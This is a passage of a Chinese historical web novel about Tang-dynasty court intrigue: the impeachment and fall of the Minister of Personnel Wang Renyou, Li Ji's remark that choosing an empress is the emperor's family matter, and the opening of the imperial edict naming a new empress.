太极殿那场堪称惨烈的朝堂逼宫,以皇帝李治拂袖而去、被迫“暂缓”立后之议而暂告一段落,但其掀起的政治余波与朝野震动,却远远未曾平息,反而如同投入深潭的巨石,激起的涟漪一圈大过一圈,不断冲击、撕裂着大唐帝国最高权力阶层的脆弱平衡。皇帝与以长孙无忌为首的顾命元老集团之间,那道本就若隐若现的裂痕,经此一事,已然公开化、尖锐化,甚至带上了几分你死我活的惨烈意味。
朝会之后,压抑与诡异的气氛笼罩着整个长安官场。长孙无忌、褚遂良、韩瑗、来济等重臣府邸门庭若市,前来拜谒、打探、表态的官员络绎不绝,关陇集团及其盟友的势力看似因这场“胜利”而更加凝聚张扬。而皇帝李治,则连续数日未曾临朝,只待在紫宸殿中,据闻“圣躬违和”,但所有人都明白,那是雷霆震怒后的冰冷蛰伏与深沉思量。许敬宗、李义府等支持“立武”的官员则相对沉寂,暗中却更加频繁地串联,目光不约而同地投向了那位刚刚加衔秘书少监、在“厌胜”案中立下大功,且在朝会上提出“设定程序期限”之议的李瑾。
李瑾同样闭门谢客数日,但他并非在消沉或观望。崇仁坊李宅的书房内,灯火同样常常亮至深夜。他面前堆满了通过各种渠道汇集而来的文书、账册、口供抄件,王掌柜、李福,乃至几位借调在“格物所”或“督行实务”体系下、绝对可靠的吏员,皆在协助他梳理、核对。流言与道德攻击,是长孙无忌等人最锋利的武器,也确实是武媚娘乃至皇帝难以正面辩驳的“软肋”。继续在这个层面上纠缠,只会越描越黑,陷入对方“礼法”与“道德”的泥潭。必须跳出这个框架,转换战场,用对方无法辩驳的、实实在在的“罪证”与“利害”,来发动反击。
而最佳的突破口,不在武媚娘本人,也不在空泛的“立后”之争,而在那位已被打入冷宫、却尚未被正式下诏废黜的“庶人王氏”,以及其背后盘根错节的家族势力——太原王氏,以及其与关陇集团千丝万缕的联系。攻击一个“罪妇”及其可能存在的“同党”与“余孽”,在政治上更为安全,也更容易找到“实锤”。
经过数日不眠不休的梳理与谋划,李瑾心中已有了完整的方案。他将目标锁定在王氏之父,时任吏部尚书的王仁祐身上。王仁祐不仅是废后的父亲,是太原王氏在朝中的代表人物,更因其吏部尚书(天官)的身份,掌管天下官员铨选,位高权重,与长孙无忌等关陇勋贵交往密切。扳倒王仁祐,不仅能彻底斩断废后可能复起的最后一丝希望,更能沉重打击关陇集团在人事任免上的关键棋子,敲山震虎,一举数得。
他精心准备了“三份”罪证,每一份都力求证据扎实,指向明确,且能触怒皇帝,引发朝臣共鸣,或至少无法公开回护。
就在朝会风波后第五日,皇帝李治“病愈”,重开常朝。太极殿内气氛依旧凝重,诸臣行礼如仪,但目光交汇间,皆带着难以言喻的审视与警惕。皇帝端坐御座,面色平静,但眼下的阴影和眸中深藏的冷意,显示他内心的波澜并未平息。
朝议进行到一半,一项关于河东道今春粮赋征收的争议刚刚议罢,殿中出现了短暂的间歇。就在此时,中书舍人许敬宗再次出列。
“陛下,臣有本奏。” 许敬宗声音沉稳,与上次提议“速择贤德”时的激昂不同,此次带着一种沉痛的肃穆。
“许卿又有何事?” 李治语气平淡。
“陛下,前番因王氏行厌胜巫蛊,诅咒君父、储君,大逆不道,已被陛下废为庶人,打入冷宫。然,除恶务尽,树德务滋。 王氏之所以敢如此猖狂,丧心病狂,非仅其一人之过。 臣近日风闻,其父 吏部 尚 书 王 仁 祐, 不 思 教 女 之 过, 反 倒 在 外 怨 望 陛 下, 更 有 诸 多 不 法 行 迹, 恳 请 陛 下 明 察!” 许敬宗开门见山,直接将矛头指向了王仁祐!
此言一出,满殿皆惊!攻击废后本人是一回事,直接弹劾其父、当朝吏部尚书,而且是太原王氏的家主,这分量和意义可就完全不同了!这无疑是将战火从后宫引向了前朝,从“立后”之争扩大到了对关陇集团核心成员的清算!
长孙无忌、褚遂良等人脸色骤变,目光如电,射向许敬宗,又迅速扫向御座上的皇帝和一旁静立的李瑾。他们瞬间明白了对方的战术——这是要彻底铲除王氏,并以此为契机,进一步打击他们的势力!
“许敬宗!你休得血口喷人!” 王仁祐又惊又怒,立刻出列,指着许敬宗喝道,“本官忠心为国,兢兢业业,何来怨望?更无任何不法!你如此诬陷,究竟受何人指使?意欲何为?!”
“王尚书稍安勿躁。” 许敬宗不慌不忙,向皇帝拱手,“陛下,臣岂敢妄言?臣所奏,皆有实据。其一, 王 仁 祐 身 为 吏 部 尚 书, 掌 铨 选 大 权, 却 公 然 卖 官 鬻 爵, 贪 赃 枉 法! 去岁 洛 州 参 军 一 职 出 缺, 王 仁 祐 收 受 商 贾 张 某 贿 金 三 千 贯, 将 其 不 学 无 术 之 子 擢 为 洛 州 参 军! 此 事 在 洛 州 官 场 已 是 公 开 秘 密, 有 张 某 账 册 、 中 间 人 供 词 及 洛 州 刺 史 秘 奏 为 证! 此 为 罪 证 一!**”
他竟真的抛出了具体的时间、地点、人物、金额!而且听起来证据链完整!殿中顿时响起一片嗡嗡的议论声。卖官鬻爵,尤其是在吏部天官的位置上,这是任何帝王都无法容忍的大罪!
王仁祐脸色煞白,强辩道:“荒……荒谬!此纯属构陷!那洛州参军乃是依制考评选拔,与那张某何干?定是有人伪造证据,陷害本官!”
“是否伪造,陛下一查便知。” 许敬宗冷笑,继续道,“其二, 王 仁 祐 倚 仗 外 戚 权 势, 纵 容 子 侄 横 行 不 法, 欺 压 良 善, 强 占 民 田 商 产! 其 侄 王 德 俭, 在 长 安 西 市 强 买 胡 商 店 铺 不 成, 竟 指 使 家 奴 纵 火, 焚 毁 店 铺 三 间, 致 胡 商 一 家 三 口 葬 身 火 海! 长 安 县 令 畏 其 权 势, 不 敢 深 究, 仅 以 ‘ 走 水 失 慎 ’ 结 案。 然 苦 主 血 书 状 纸、 邻 里 证 人 供 词, 以 及 当 日 参 与 纵 火 家 奴 之 部 分 口 供, 皆 在 此! 此 为 罪 证 二!”
纵火杀人,残害无辜,而且还是涉及“胡商”(涉及邦交和贸易),这更是激起众怒。许多官员,尤其是非关陇出身的官员,脸上已露出愤慨之色。
王仁祐冷汗涔涔,嘴唇哆嗦:“此……此乃刁·民诬告,子侄不肖,与老夫何干?老夫……老夫并不知情!”
“好一个‘并不知情’!” 许敬宗厉声道,“其三,也是最为紧要之一条! 王 仁 祐 身 为 朝 廷 重 臣, 不 思 报 国, 反 在 暗 中 与 地 方 藩 镇 、 不 法 商 贾 勾 结, 利 用 职 权, 为 其 在 河 东 、 河 北 等 地 的 私 盐 、 私 铁 贩 运 提 供 庇 护, 大 肆 牟 利, 严 重 侵 蚀 国 家 盐 铁 专 卖 之 利, 动 摇 国 本! 其 在 蒲 州 ( 山 西 永 济 ) 的 别 业 地 窖 中, 藏 有 大 量 来 历 不 明 的 金 银 及 与 盐 枭 往 来 书 信! 此 事 , 已 有 御 史 台 暗 访 御 史 及 将 作 监 督 行 实 务 使 李 瑾 大 人 , 在 督 查 河 东 煤 铁 矿 务 时 偶 然 发 现 线 索 , 顺 藤 摸 瓜 , 掌 握 部 分 实 据! 此 为 罪 证 三!”
第三条罪证,如同致命一击!“私盐私铁”、“侵蚀国本”、“勾结藩镇不法商贾”,这每一项都是足以抄家灭族的重罪!而且,许敬宗特意点出,线索是由“督行实务使李瑾”在督查河东矿务时发现!这等于将李瑾推到了前台,也暗示这些罪证的发现,与皇帝关心的“实务”、“国用”紧密相关,非是空穴来风的政治构陷!
所有人的目光,瞬间聚焦到了李瑾身上。连皇帝李治,也目光炯炯地看向他。
李瑾知道,该自己出场了。他缓步出列,神色沉静,向皇帝躬身一礼:“陛下,许舍人所言第三条,臣确有所察。去岁冬,臣为‘格物所’高炉试验及河东新购煤窑之事,曾行文河东诸州,调阅近年矿冶、漕运档案副本,以核算成本,规划运输。无意中发现,蒲州、晋州等地官盐、官铁数额,与户部存档及地方实际产出之间,存有较大、且连年存在的亏空,其流向成谜。臣觉蹊跷,便命人暗中留意。后又闻,当地有巨商,与长安某些权贵过从甚密,能轻易打通关卡,运输大宗货物。臣遂将零星线索,交予御史台熟识之同僚暗中访查。月前,偶有突破,发现部分线索,竟隐约指向王尚书在蒲州的别业及家族商号……然,此事牵涉重大,臣位卑权轻,且无明确旨意,不敢深查,只将已得之零星证据封存。不想许舍人今日提及……臣,惶恐。”
他这番话,说得滴水不漏。首先,将发现线索的起因,归结于“督查实务”、“核算成本”的公事,合情合理。其次,强调自己“位卑权轻”、“不敢深查”,将主导权和“揭发”之功让给许敬宗,自己只作为线索提供者和部分证据的核实者,姿态低调,避免成为众矢之的。最后,表示“惶恐”,既是对皇帝的尊重,也暗示此事敏感性。
但所有人都听明白了,李瑾手里,恐怕真有实据!而且是通过“督行实务”这个皇帝亲自掌控的渠道发现的,可信度极高!
“陛下!” 王仁祐彻底慌了,扑通一声跪倒,老泪纵横,“老臣冤枉!天大的冤枉啊!这定是许敬宗、李瑾等人,因立后之事与老臣政见不合,故而罗织罪名,构陷老臣!陛下明鉴!长孙太尉、褚侍中,你们要为老臣说句公道话啊!” 他此刻只能寄希望于盟友。
长孙无忌眉头紧锁,心中暗骂王仁祐愚蠢,这等时刻将他扯出来,岂非坐实“结党”?但他也不能坐视王仁祐被轻易扳倒,那将严重削弱己方力量。他出列沉声道:“陛下,王尚书所言,不无道理。卖官鬻爵、纵侄行凶、勾结盐枭,皆是重罪,需有铁证,方可定谳。岂能因些微风闻、或某些在公务中发现的‘存疑’线索,便轻易指控一位朝廷重臣、国之干城?此非慎刑之道。老臣以为,当交由三司(刑部、大理寺、御史台)会审,仔细核查每一条指控,证据确凿,方可论罪。在此之前,王尚书仍是我大唐吏部尚书,不宜妄加罪责。”
他再次祭出“程序正义”和“需要铁证”的大旗,试图将事情拖入漫长的司法调查程序,争取时间和操作空间。
褚遂良、韩瑗等人也纷纷出言,要求“慎重调查”、“不可偏听”。
然而,这一次,皇帝李治没有再被轻易说服。他看着跪在地上,惊慌失措、老态尽显的王仁祐,又看了看神色平静、举证清晰的许敬宗和言辞谨慎、却暗指证据在握的李瑾,再联想到王皇后那恶毒的厌胜之术,以及王氏家族平素可能的跋扈……新仇旧恨,疑窦丛生,加上被元老逼宫的怒火未熄,此刻全部汇聚成了对王氏及其背后势力的熊熊怒火与彻底清算的决心。
“铁证?” 李治缓缓开口,声音冰冷,“许敬宗所言三条, 卖 官 鬻 爵, 残 害 人 命, 侵 蚀 国 本—— 哪 一 条 不 是 耸 人 听 闻? 哪 一 条 不 是 动 摇 国 之 根 基? 若 此 等 事 情 属 实, 王 仁 祐 便 是 国 之 巨 蠹! 朕 的 吏 部, 竟 掌 在 此 等 人 手 中, 朕 如 何 能 安 枕? 天 下 吏 治, 又 将 是 何 等 面 目?!”
他越说越怒,猛地一拍御案:“ 着 即 革 去 王 仁 祐 吏 部 尚 书 及 一 切 官 职, 褫 夺 爵 位, 交 由 御 史 台 羁 押, 由 刑 部、 大 理 寺、 御 史 台 三 司 会 审, 严 查 其 所 涉 诸 罪! 一 应 涉 案 人 等, 不 论 职 位 高 低, 一 体 锁 拿 查 办! 朕 倒 要 看 看, 这 堂 堂 大 唐 的 朝 堂 之 上, 究 竟 藏 了 多 少 魑 魅 魍 魉!”
“陛下圣明!” 许敬宗、李义府等官员立刻高声附和。
长孙无忌、褚遂良等人脸色难看至极,皇帝这是明显带着怒气,越过正常的“调查”程序,直接先“革职羁押”,再“会审”,态度之强硬,前所未有。但他们此刻也无法再强行为王仁祐辩解,皇帝列举的罪名太大,而且显然已深信不疑,若再强行阻拦,恐引火烧身。
金吾卫上前,摘去了王仁祐的官帽,剥去了他的紫袍。王仁祐面如死灰,瘫软在地,被如狼似虎的卫士拖了出去。这位曾经权倾一时的吏部天官、太原王氏的家主,转眼间便成了阶下囚。
“至于废后王氏,” 李治的目光扫过全场,最后落在长孙无忌等人脸上,一字一句道,“ 其 父 既 有 如 此 大 罪, 其 家 风 可 见 一 斑。 此 等 罪 妇, 焉 能 再 居 后 位( 虽 已 废) 之 名? 着 中 书 门 下, 即 日 起 草 诏 书, 昭 告 天 下, 正 式 废 王 氏 为 庶 人, 收 回 皇 后 册 宝, 其 族 一 应 恩 赏, 悉 数 追 夺! 冷 宫 严 加 看 管, 非 诏 不 得 探 视!**”
正式废后的诏书!这意味着,王皇后(庶人王氏)的最后一点名分也被剥夺,王氏家族的政治生命,随着王仁祐的倒台和这道诏书,彻底宣告终结!
“臣等遵旨!” 许敬宗、李义府等人声音响亮。长孙无忌等人则沉默不语,面色灰败。他们知道,今日这场朝会,他们输了,而且输得很惨。不仅没能阻止皇帝清算王氏,反而被对方抓住机会,以雷霆之势斩断了他们的一条重要臂膀,更借“废后”之事,进一步巩固了皇帝的权威,并向朝野展示了皇帝打击“不法”、整顿吏治的决心。
李瑾垂手而立,心中并无多少喜悦,只有一片冰凉的清明。他知道,扳倒王仁祐和正式废后,只是第一步,是扫清了最主要的障碍之一,并将“废王”之事彻底钉死。但“立武”的最大难关——长孙无忌等元老重臣的激烈反对,以及武媚娘“身份”的敏感问题——依然横亘在前。今日之举,不过是打开了局面,撕开了一道口子,并将斗争的主动权,重新拉回了一些到皇帝手中。
接下来,才是真正的决战。而决战的关键,或许不在朝堂的口水之争,而在军权,在那些真正能决定帝国走向的军方重臣的态度。他的目光,不经意地掠过了武官班列中,那位一直沉默寡言、却无人敢忽视的司空、同中书门下三品、英国公李勣的身影。
风暴,还远未到停歇之时。
第76章 李绩定乾坤
贞观二十四年的五月初,初夏的熏风,悄然拂过长安城的朱墙碧瓦,却难以驱散笼罩在皇城大内、尤其是朝堂之上那股近乎凝滞的、山雨欲来的沉重压抑。自王仁祐被革职下狱、废后王氏被正式下诏剥夺一切名分、追夺家族恩赏后,这场因“废王立武”而引发的政治飓风,非但没有因王氏父女的彻底倒台而稍有平息,反而如同被推至巅峰的巨浪,在短暂的沉滞后,即将以更加决绝、更加凶险的姿态,拍向那决定着帝国未来数十年命运的权力礁石。
王氏的覆灭,如同一面被擦拭得过分明亮的镜子,映照出朝堂之上各方势力或惊恐、或振奋、或警惕、或狂热的真实面目。皇帝李治以霹雳手段处置外戚巨蠹,既彰显了其整顿吏治、打击不法的决心,也狠狠回击了元老集团前番的逼宫,更在“废王”之事上彻底钉死了最后一颗钉子,再无转圜余地。然而,所有人都清楚,这仅仅是序幕。真正的风暴眼,始终是那个悬而未决的、敏感的、被元老集团以“礼法人伦”死死抵制的核心议题——立武媚娘为后。
废王,或许还能用“其罪当诛”、“清除毒瘤”来解释;立武,则直接触及了以长孙无忌、褚遂良等关陇元老为核心的传统士大夫集团最敏感的神经——权力传承的纯洁性、后族背景的可控性,以及未来朝局走向的确定性。他们可以接受废掉一个不听话、无子嗣的王皇后,甚至可以默许处置一个贪腐跋扈的王仁祐,但他们绝不能接受一个出身“不纯”(曾为先帝才人)、与新兴“实学”势力(李瑾)暗通款曲、且明显拥有强烈政治野心和手腕的武媚娘,成为母仪天下、可能在未来深刻影响皇帝乃至储君的后宫之主!
长孙无忌等人的反对,已不仅仅是因为“礼法”或“旧怨”,更是出于一种深刻的政治危机感。他们敏锐地察觉到,若武媚娘上位,皇帝李治将如虎添翼,皇权将得到空前强化,他们这些顾命老臣、关陇勋贵的权力和影响力,必将受到前所未有的挤压和挑战,甚至可能被逐步边缘化。这是你死我活的根本利益之争,绝无妥协余地。
因此,在“废王”诏书下达、朝野震动之际,长孙无忌集团的反击与固守,也达到了前所未有的强度。他们不再仅仅依靠朝堂上的道德抨击和礼法辩论,而是开始动用更深层、更广泛的政治资源。与关陇集团关系密切的各地门阀、世家,开始通过各种渠道向朝廷施压,或上书言事,或通过姻亲故旧在京中散布“立武不祥”、“恐乱国本”的舆论。几位在地方上任刺史、都督的关陇子弟,甚至隐晦地以“边镇不安”、“需朝廷明示”为由,试探朝廷(实为皇帝)的决心。朝中,以褚遂良、韩瑗、来济为首的核心成员,则更加紧密地抱团,几乎每日在长孙无忌府邸或政事堂偏厅密议,商讨对策,统一口径。他们甚至开始秘密联络部分宗室亲王、郡王,试图争取皇族内部对“立武”的反对声音。
与此同时,以许敬宗、李义府为首的“拥武派”官员,也在皇帝默许和李瑾的暗中策应下,积极活动。他们利用“废王”成功的声势,在朝野大力宣扬“陛下英明果决,清除奸佞,正当其时”,并隐隐将“立新后”与“稳固朝局”、“刷新气象”联系起来。他们也开始搜集、罗列长孙无忌、褚遂良等人在执政过程中的一些“过失”或“争议”(如某些政策分歧、用人不当的旧事),作为必要时反击的弹药。然而,相较于根深蒂固的关陇集团,“拥武派”在朝中的根基和人脉仍显薄弱,最大的依仗,仍是皇帝的决心和支持。
皇帝李治,则陷入了登基以来最煎熬、也最关键的决策期。他深知,扳倒王氏只是清除了障碍,真正的攻坚战,是与长孙无忌等顾命元老的正面对决。他需要一场决定性的胜利,来彻底打破元老集团对朝政的钳制,确立自己不容置疑的权威,并为武媚娘的上位铺平最后的道路。然而,元老集团的力量盘根错节,尤其是他们在军方、在地方、在士林中的巨大影响力,让李治投鼠忌器,不敢轻易采取过于激烈的手段。他需要一个契机,一个能让他“合理”地越过元老反对、强行推动“立武”的契机,或者,一个能打破朝堂僵局、让天平发生决定性倾斜的“砝码”。
这个“砝码”,他隐约觉得,或许不在文官系统内部,而在……军方。而在军方,有一个人,其态度举足轻重,甚至可能一言定鼎——司空、同中书门下三品、英国公李勣。
李勣,本姓徐,名世勣,字懋功,赐姓李。他是与李靖齐名的贞观名将,战功赫赫,灭**厥、平薛延陀、征高句丽,皆有其身影。他不仅是军方第一重臣,更是太宗皇帝临终托孤的顾命大臣之一,在军中威望极高,且与关陇集团保持一定距离,政治态度向来谨慎低调,不轻易表态。在之前的“废王立武”风波中,李勣始终沉默,从未公开表态支持或反对任何一方。这种沉默,本身就像一块沉重的巨石,压在皇帝和所有参与博弈者的心头。
李治反复思量,李勣的态度,将是决定“立武”成败的关键。若李勣支持,或至少不公开反对,那么军方大概率会保持中立或倾向皇帝,元老集团最大的倚仗之一(潜在的地方军镇支持)将大大削弱,皇帝推动“立武”的底气将足得多。若李勣明确反对,甚至与长孙无忌联手,那后果不堪设想,很可能引发朝局剧烈动荡,甚至难以预料的危机。
必须试探李勣的真实态度!李治下定了决心。然而,直接询问太过露骨,也容易将这位老将逼到必须明确站队的尴尬境地,反而可能适得其反。最好的方式,是在一个看似自然、但含义深远的场合,抛出问题,观察其反应。
五月初五,端午。依制,皇帝于宫中设宴,与文武重臣、宗室亲王共度佳节,兼有祈禳避疫之意。宴设于麟德殿,场面宏大,钟鼓齐鸣,歌舞升平,然而在觥筹交错、笑语喧阗的表面之下,却是各怀心思、暗流涌动。
宴会进行到一半,酒过三巡,气氛稍显松弛。皇帝李治看似随意地举起酒杯,向坐在勋贵重臣首位的李勣示意,微笑道:“英国公,今日佳节,朕与诸卿同乐。然朕观近日朝堂,因中宫之事,议论纷纷,朕心甚为烦扰。英国公乃三朝元老,国之柱石,历经风雨,不知对此事,可有以教朕?”
来了!皇帝终于将问题,抛给了最关键的人物!刹那间,整个麟德殿仿佛被无形的力量按下了静音键。歌舞暂停,交谈止息,所有人的目光,无论是惊疑、期待、忧虑还是警惕,都齐刷刷地聚焦在了那位须发皆白、面容清癯、一直安静饮酒的老将身上。
长孙无忌、褚遂良等人心中一紧,目光灼灼地盯着李勣。许敬宗、李义府等人则屏住了呼吸。李瑾也放下了酒杯,静静观望。连侍立在旁的宦官宫女,似乎都感受到了这不同寻常的紧张气氛,垂首肃立,不敢稍动。
李勣似乎并未感到意外,他缓缓放下酒杯,用一方素绢擦了擦嘴角,动作沉稳,不见丝毫慌乱。他抬起那双阅尽沧桑、深邃如古井的眼眸,看向御座上的皇帝,声音不高,却清晰平稳地传入每个人耳中:
“陛下。” 李勣微微欠身,“老臣一介武夫,蒙先帝与陛下不弃,位列台辅,实是惭愧。至于 陛下 欲 立 何 人 为 后……”
他顿了顿,目光似乎不经意地扫过脸色紧绷的长孙无忌等人,又迅速收回,重新落回皇帝脸上,语气平淡得仿佛在陈述一件与己无关的小事:
“ 此 乃 陛 下 家 事, 何 必 更 问 外 人?**”
“此乃陛下家事,何必更问外人?”
十二个字,字字平淡,却如同十二道惊雷,接连炸响在麟德殿每一个人的心头!又如同一把看似钝拙、实则锋利无匹的巨斧,猛地劈开了笼罩在“废王立武”议题之上那厚重无比的、由礼法、道德、政治利益编织而成的迷雾与枷锁!
家事! 李勣竟然将“立后”这件牵动天下、关乎国本的重大政治事件,轻描淡写地定义为皇帝的“家事”!而且直言不讳地指出,这是皇帝自己的事,不必询问“外人”!
这简直是……石破天惊!与褚遂良等人引经据典、痛心疾首的“礼法人伦”之辩截然相反,李勣直接将问题的性质降维、简化了!他绕开了所有复杂的道德争论和政治纠葛,直指最本质的权力核心——皇权。在他的定义里,皇帝想娶谁、立谁为后,是皇帝自家的私事,如同寻常百姓家娶妻,旁人(“外人”)无权、也不应过多干涉。这无疑是对长孙无忌、褚遂良等人以“天下礼法”、“国本纲常”为由干涉皇帝决策的最直接、最彻底的否定!
更重要的是,说这话的人,是李勣!是军方的定海神针,是战功赫赫的元勋,是顾命大臣之一!他的表态,虽然没有直接说“支持立武”,但其潜台词和实际效果,比直接支持更加有力,更加致命!他等于是在告诉皇帝:你是皇帝,你有权决定自己的皇后,不必顾忌那些“外人”的聒噪。 同时,也是在告诉朝野:军方(至少他李勣)认为这是皇帝的私事,不会因此与皇帝对抗。
长孙无忌的脸色,瞬间变得极为难看,仿佛被人当众狠狠扇了一记耳光。褚遂良更是气得胡须抖动,指着李勣,想要反驳,却一时语塞,因为李勣的话看似平淡无奇,却站在了一个他们难以正面驳斥的“高度”——皇权的绝对性。韩瑗、来济等人也是面面相觑,眼中满是震惊与挫败。他们千算万算,没料到李勣会用这样一种近乎“耍无赖”却又直指要害的方式,来表态支持皇帝(或者说,不支持他们)。
许敬宗、李义府等人则是心中狂喜,几乎要忍不住击节赞叹!妙!太妙了!李司空此言,简直是四两拨千斤,于无声处听惊雷!一下子将对方所有的道德大旗都扯得稀烂!
皇帝李治,在最初的愕然之后,眼中骤然爆发出明亮至极的光彩!他看着李勣,心中涌起难以言喻的激动与感激。李勣这番话,看似简单,却无异于在他最需要支持的时刻,送上了一把可以斩断一切羁绊的尚方宝剑!这不仅是态度,更是一种强大的政治背书!
“哈哈哈!” 李治忽然放声大笑,笑声畅快淋漓,仿佛要将多日来的郁结一扫而空,“英国公所言, 真 是 快 人 快 语, 深 得 朕 心! 不错, 此 乃 朕 之 家 事, 确 不 该 劳 烦 诸 卿 如 此 挂 怀, 徒 惹 纷 争! 来,诸卿,满饮此杯,今日佳节,莫谈国事,但享佳酿!”
皇帝借着李勣的话,顺势将“立后”议题再次定性为“家事”,并以此为由,堵住了所有人的嘴。他高举酒杯,意气风发。
“臣等……恭祝陛下!” 殿中众人,无论心思如何,此刻也只能强颜欢笑,举杯相贺。只是那杯中的美酒,在有些人喝来,已是五味杂陈,苦涩难当。
麟德殿的宴会,在一种诡异而热烈的气氛中继续进行。但所有人都知道,经此一事,朝堂之上的力量对比,已经发生了决定性的、不可逆转的倾斜。李勣那看似轻飘飘的十二个字,如同定海神针,稳住了皇帝的阵脚,也如同千斤巨锤,砸碎了元老集团最坚固的防线。
“此陛下家事,何必更问外人?”——此言一出,乾坤已定。
废王立武,最大的障碍,已被李勣这举重若轻的一句话,彻底搬开。剩下的,不过是程序和时间问题。长孙无忌等人,纵有万般不甘,千般谋划,在失去军方最关键人物的潜在支持、且被皇帝以“家事”之名夺走话语权后,其反对的力量和正当性,已如烈日下的冰雪,迅速消融。
宴罢,李瑾随着人流走出麟德殿。夜风微凉,吹拂着他因激动而有些发热的脸颊。他抬头望向深邃的夜空,繁星点点。他知道,他和武媚娘,历经千难万险,终于看到了胜利的曙光。而那个在关键一锤定音的老将李勣……其今日之举,是出于对皇权的绝对维护,是对朝局平衡的某种考虑,还是……别有深意?
无论如何,大局已定。接下来,便是将这“家事”,以最隆重、最无可挑剔的方式,变成天下皆知的“国事”了。
第77章 诏书颁天下
麟德殿端午宴上,李勣那石破天惊的“此陛下家事,何必更问外人”一言,如同投入滚油中的冰水,瞬间炸开了锅,其引发的连锁反应与政治海啸,在宴席散去后的数日间,以惊人的速度与烈度,席卷了整个长安城的权力中枢,并迅速向帝国四方蔓延。这十二个字,看似轻描淡写,实则重若千钧,它不仅代表了军方第一重臣在此事上的基本立场(至少是不反对皇帝乾纲独断),更以一种近乎“蛮横”的直接,将“立后”之争从复杂纠缠的“礼法”、“国本”、“道德”泥潭中,硬生生拔擢、简化为一个最朴素也最无可辩驳的权力命题——皇权的至高无上与不容置疑。
宴后翌日,皇帝李治“病”愈临朝,神色间一扫前些时日的阴郁与压抑,眉宇舒展,目光湛然,举手投足间透着一股不容置疑的决断之气。朝堂之上,气氛微妙。长孙无忌、褚遂良、韩瑗、来济等元老重臣,虽依旧位列班首,面色却比往日更加沉凝,甚至带着几分难以掩饰的灰败与强自压抑的愤懑。他们比任何人都更清楚李勣那句话的分量。那意味着,在最坏的情况下(皇帝强行下诏),他们无法指望军方会站在“礼法”一边对皇帝施加实质性压力。失去了这张最重要的底牌,他们所有的道德指控、礼法依据、乃至朝堂上的人数优势,在皇帝坚定不移的意志面前,都显得苍白而脆弱。
皇帝没有在朝堂上立刻提及“立后”之事,仿佛麟德殿那一幕从未发生。但他接连下达的数道旨意,却无一不昭示着风向的彻底转变与权力格局的清晰重构。
首先,皇帝以“前吏部尚书王仁祐贪渎案牵连甚广,需彻查以肃清吏治”为由,下旨扩大三司会审范围,不仅严查王仁祐及其子侄,更将调查触角延伸至与王氏过往密切、且被举报有贪墨不法之迹的数名官员,其中不乏与关陇集团有千丝万缕联系的中层官吏。这既是乘胜追击,彻底铲除王氏余毒,也是对关陇集团及其盟友的一次严厉警告和火力试探。
其次,皇帝对“督行实务”及“格物所”的支持力度空前加大。特批内帑银钱,用于“海船龙骨改良”项目的最终定型和第一批试验船的建造;准允“新式农具”在河东、河北、河南三道择选二十个州县进行官督推广,所需铁料由将作监及工坊优先保障;并明确“百工创新署”所验证有效的民间巧技,可由朝廷给予“专利凭信”,许其独家经营若干年,所得之利与官府分成。这些举措,不仅是对李瑾及其“实学”事业的巨大肯定,更是在向朝野宣告,皇帝将坚定不移地推进以“实学”、“开拓”为核心的新政,任何阻碍这一进程的力量,都将被视为“不体圣意”。
再次,皇帝对后宫事务的处理,也显示出鲜明的倾向。他下旨,以“德妃、贤妃协理六宫,辛劳有功”为由,厚加赏赐,但同时又以“恐劳二位妃嫔过甚,有伤玉体”为名,明确“自即日起,后宫一应庶务,仍由四妃共商,然最终裁决,需报朕知,或由朕指定专人佐理”。这实际上收回了四妃的部分独立裁决权,加强了皇帝对后宫的直接控制。而皇帝“指定专人佐理”的暗示,更是让无数人将目光投向了绮云阁。
绮云阁内,武媚娘的日子似乎与往常并无二致。她依旧每日诵经、读书、习字,偶尔在太医刘神威的陪同下于御花园散步,神色恬淡,举止安详,对宫人温和,对四妃礼敬。但明眼人都能看出,皇帝来绮云阁的次数明显增多,虽未必每次都留宿,但往往一坐便是半个时辰甚至更久,或谈论诗文,或询问她对某些史事、时务的看法。武媚娘的回答,一如既往地得体而富有见地,既显才学,又绝不锋芒毕露,更从未主动提及“立后”半个字。但越是如此,她在皇帝心中的分量,便越是沉实。皇帝甚至偶尔会让她代为起草一些给命妇、宗室的普通慰问诏书(由内侍誊抄用印),其文笔之流畅,措辞之得体,令皇帝颇为满意。
李瑾在朝堂与“实务”两个战场,亦是双线并进,稳扎稳打。朝堂上,他谨言慎行,专注于汇报“督行实务”的进展,对“立后”之争绝口不提,仿佛一个只知埋头做事的纯臣。但私下里,他与许敬宗、李义府等人的联络更加紧密,通过他们,将一些有利于“立武”的舆论(如强调“母仪天下重在德行才识,非独门第”、“陛下家事,臣子当体谅圣心”等)悄然散布出去。同时,他通过“格物所”和王掌柜的渠道,继续密切关注着长孙无忌等人的动向,并留意着任何可能出现的、针对武媚娘的新阴谋。
时间在表面平静、实则暗潮汹涌中,滑入五月中旬。长安城已是一片初夏景象,绿荫浓稠,榴花似火。朝野上下,关于“立后”的猜测与议论,非但没有因皇帝的沉默而平息,反而在李勣表态、皇帝一系列动作的刺激下,发酵到了顶点。所有人都屏息等待着,那最终靴子落地的声音。
五月十八,大朝。这一日,天色晴好,晨曦透过太极殿高阔的窗棂,洒下一地金辉。然而殿中肃立百官的心绪,却比以往任何一次朝会都要复杂、紧张。许多人心中都有一个预感:今日,或许就是最终决断之时。
果然,在例行的政务奏对之后,皇帝李治没有如往常一样宣布退朝,而是对侍立在侧的中书舍人许敬宗微微颔首。
许敬宗出列,手持一卷明黄织锦、盖有皇帝玉玺及中书门下印信的诏书,神色庄严肃穆,朗声道:“奉天承运,皇帝制曰:”
仅仅是这开篇六字,便让殿中绝大多数人心头一震!是“制书”!皇帝亲命的、颁布重大决策的“制书”!而非普通的“敕”或“旨”!
“朕闻 乾坤定位,阴阳肇分, 王 化 之 本, 始 于 内 则。 皇 后 之 尊, 与 朕 同 体, 承 宗 庙, 母 天 下, 岂 易 人 哉!**” 许敬宗的声音清晰洪亮,回荡在寂静的大殿中。
诏书以典雅庄重的骈文开头,阐明皇后与皇帝一体、承宗庙、母天下的重要地位。
